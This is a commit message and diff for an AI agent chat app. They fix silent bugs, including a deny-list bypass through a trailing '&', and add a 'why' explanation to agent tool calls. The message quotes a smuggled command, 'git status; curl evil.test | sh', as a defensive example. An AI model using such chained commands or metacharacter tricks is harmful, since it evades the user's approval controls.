Four things that failed silently in an agent chat, and an account of the work
Each of the first four looked like it worked. That is what they have in
common, and why the tests are written against the property rather than the
markup.
**The job wrapper never cleaned up.** `jobs.py` interpolated `{log}` -- the
module logger -- where it meant `{logf}`, so every launch-and-wait wrapper
ended `rm -f ... <Logger ... (WARNING)> ...`, which is a shell syntax error.
It died after the sentinel, where nothing reads it, so commands still worked
while every one of them left four files on the far side forever, including
the log holding everything it printed. Every wrapper now goes through `sh -n`.
**The approval card could show something other than what ran.** The card did
a plain `json.loads` and showed `{}` on failure; `run_tool`'s own fallback
put the raw string into the tool's first required parameter, which for
`shell_run` is the command. So invalid JSON -- a normal path with small
models -- produced a card headed "Run a command" with an empty body, and
`policy.decide` was handed an empty command line matching neither list.
Arguments are parsed once now, in `tools.parse_arguments`, and the same dict
reaches the card, the policy and the runner.
**One character walked past the deny list.** `subject()` yields nothing for a
command line carrying a metacharacter, which is what stops `git *` also
meaning `git status; curl evil.test | sh`. The note said a deny list needed
no such care because failing open returns you to the mode -- true of Manual,
Edit and Plan, and false of Auto, where the mode is ALLOW. `shutdown -h now`
asked; `shutdown -h now &` ran.
**"Always allow this" allowed nothing.** The verdict was accepted, treated as
permitted, and stored nowhere. It now writes `Chat.scope_json["allow"]`, from
patterns derived server-side from the approved item -- the endpoint takes an
id and a verdict and nothing else -- and the list is shown in the scope menu
with a Clear beside it.
Two more found while fixing them:
**A reply could grow its request past the window with nothing watching.**
Compaction runs once, before the first round. The only other guard defaults
to a megabyte, larger than the window of nearly every model this talks to.
`_too_big` stops between rounds now, and the estimate it reads is recomputed
per round rather than once -- which is also what the metrics report on every
endpoint that sends no usage block.
**The harness ceiling was dropping AGENTS.md.** 8000 characters, against
~7,900 of fragments plus the 2,000 and 4,000 the index and instruction
budgets grant by default. `assemble` cuts the tail, so on a default install
the project listing was severed and the project's own instructions never
reached the model at all.
And, because an agent that works for ten minutes should be readable while it
does:
**Every action says what it is for.** `shell_run`, `file_write`, `file_edit`
and `job_stop` take a `why`: one line, carried onto the approval card above
the command and into the transcript's summary line rather than its collapsed
body. Auto mode is the case it exists for -- nothing stops for approval
there, so without it a reader watches a list of commands with no account of
any of them until the reply ends. Kept apart from the reason *we* stopped: an
explanation a reader takes for the application's own would be LLeMbas
vouching for text a model wrote.
**And the reply says what it is doing as it goes.** `core.objective` and
`core.narrate`, both agent-only. The second is deliberately the opposite of
`core.tools_preamble`'s "do not announce that you are about to", which is
right for a short answer -- read once it is finished -- and wrong for a long
piece of work, which is watched while it runs. It says so in its own words
rather than referring to a fragment an administrator may have cleared.
Co-Authored-By: Claude Opus 5 (1M context) <noreply@anthropic.com>
This commit is contained in:
@@ -51,6 +51,57 @@ MAX_DIFF_LINES = 200
|
||||
|
||||
_STRING = {"type": "string"}
|
||||
|
||||
# What the model says it is doing, offered on everything that changes something
|
||||
# or that stops for approval. It is shown to the person -- above the command on
|
||||
# an approval card, and beside the call in the transcript when nothing stopped
|
||||
# for approval at all -- which is the only reason it exists: in Auto mode a
|
||||
# reader otherwise watches a list of commands with no account of what they are
|
||||
# for until the reply ends.
|
||||
#
|
||||
# Not on `file_read`, `file_list` or `file_search`. They are the hot path, their
|
||||
# detail says everything ("Read src/main.py"), and a schema property costs
|
||||
# tokens on every request whether or not it is filled in.
|
||||
_WHY = {
|
||||
**_STRING,
|
||||
"description": (
|
||||
"One short line saying what you are doing this for, in plain language. "
|
||||
"It is shown to the person — beside the command when they are asked to "
|
||||
"approve it, and in the transcript when they are not."
|
||||
),
|
||||
}
|
||||
|
||||
# One line, and short. It goes in a summary line beside the command, and it is
|
||||
# stored on the message row forever.
|
||||
MAX_WHY_CHARS = 240
|
||||
|
||||
|
||||
def why_of(args: dict[str, Any]) -> str:
|
||||
"""What the model said this call is for, as one short line."""
|
||||
return " ".join(str(args.get("why") or "").split())[:MAX_WHY_CHARS]
|
||||
|
||||
|
||||
def _explained(run):
|
||||
"""Wrap a runner so whatever it returns carries the model's explanation.
|
||||
|
||||
Applied at the `ToolDef`, next to the schema that declares `why`, so the two
|
||||
halves cannot drift apart -- a tool that offers the argument records it, and
|
||||
one that does not offer it never sees it.
|
||||
|
||||
A wrapper rather than a parameter threaded through, because `shell_run`
|
||||
alone builds its outcome in five places -- foreground, convertible,
|
||||
launched, backgrounded and the shared formatter -- and none of them has any
|
||||
other reason to know this exists. `ToolOutcome.event` is a plain mutable
|
||||
dict, so every path through a runner is covered by one line here.
|
||||
"""
|
||||
|
||||
async def wrapped(context: ToolContext, args: dict[str, Any]) -> ToolOutcome:
|
||||
outcome = await run(context, args)
|
||||
if why := why_of(args):
|
||||
outcome.event["why"] = why
|
||||
return outcome
|
||||
|
||||
return wrapped
|
||||
|
||||
|
||||
def _event(name: str, context: AgentContext, summary: str, **extra: Any) -> dict[str, Any]:
|
||||
"""One line in the transcript for one call.
|
||||
@@ -715,6 +766,7 @@ def _no_machine(name: str) -> ToolOutcome:
|
||||
def _shell_parameters(background_on: bool) -> dict[str, Any]:
|
||||
properties: dict[str, Any] = {
|
||||
"command": {**_STRING, "description": "The command line to run."},
|
||||
"why": _WHY,
|
||||
"cwd": {**_STRING, "description": "Where to run it. Defaults to the project directory."},
|
||||
"timeout": {
|
||||
"type": "number",
|
||||
@@ -758,7 +810,7 @@ def tool_defs(context: AgentContext | None = None) -> list[ToolDef]:
|
||||
"non-interactive rather than waiting for it to ask."
|
||||
),
|
||||
parameters=_shell_parameters(bool(context and context.background)),
|
||||
run=_run_shell,
|
||||
run=_explained(_run_shell),
|
||||
risk=RISK_EXECUTE,
|
||||
),
|
||||
ToolDef(
|
||||
@@ -793,10 +845,11 @@ def tool_defs(context: AgentContext | None = None) -> list[ToolDef]:
|
||||
"properties": {
|
||||
"path": {**_STRING, "description": "The file to write."},
|
||||
"content": {**_STRING, "description": "Its whole new contents."},
|
||||
"why": _WHY,
|
||||
},
|
||||
"required": ["path", "content"],
|
||||
},
|
||||
run=_run_write,
|
||||
run=_explained(_run_write),
|
||||
risk=RISK_WRITE,
|
||||
),
|
||||
ToolDef(
|
||||
@@ -823,10 +876,11 @@ def tool_defs(context: AgentContext | None = None) -> list[ToolDef]:
|
||||
**_STRING,
|
||||
"description": "The unified diff to apply.",
|
||||
},
|
||||
"why": _WHY,
|
||||
},
|
||||
"required": ["path", "patch"],
|
||||
},
|
||||
run=_run_edit,
|
||||
run=_explained(_run_edit),
|
||||
risk=RISK_WRITE,
|
||||
),
|
||||
ToolDef(
|
||||
@@ -1027,10 +1081,13 @@ def tool_defs(context: AgentContext | None = None) -> list[ToolDef]:
|
||||
description="Stop a background job, killing it and everything it started.",
|
||||
parameters={
|
||||
"type": "object",
|
||||
"properties": {"id": {**_STRING, "description": "The job id."}},
|
||||
"properties": {
|
||||
"id": {**_STRING, "description": "The job id."},
|
||||
"why": _WHY,
|
||||
},
|
||||
"required": ["id"],
|
||||
},
|
||||
run=_run_job_stop,
|
||||
run=_explained(_run_job_stop),
|
||||
# It terminates a process on the machine, so it goes through the mode
|
||||
# table exactly as shell_run does.
|
||||
risk=RISK_EXECUTE,
|
||||
@@ -1053,4 +1110,11 @@ def tool_defs(context: AgentContext | None = None) -> list[ToolDef]:
|
||||
return [tool for tool in defs if tool.name not in drop]
|
||||
|
||||
|
||||
__all__ = ["FAMILY_AGENT", "MAX_DIFF_LINES", "MAX_EVENT_CHARS", "tool_defs"]
|
||||
__all__ = [
|
||||
"FAMILY_AGENT",
|
||||
"MAX_DIFF_LINES",
|
||||
"MAX_EVENT_CHARS",
|
||||
"MAX_WHY_CHARS",
|
||||
"tool_defs",
|
||||
"why_of",
|
||||
]
|
||||
|
||||
Reference in New Issue
Block a user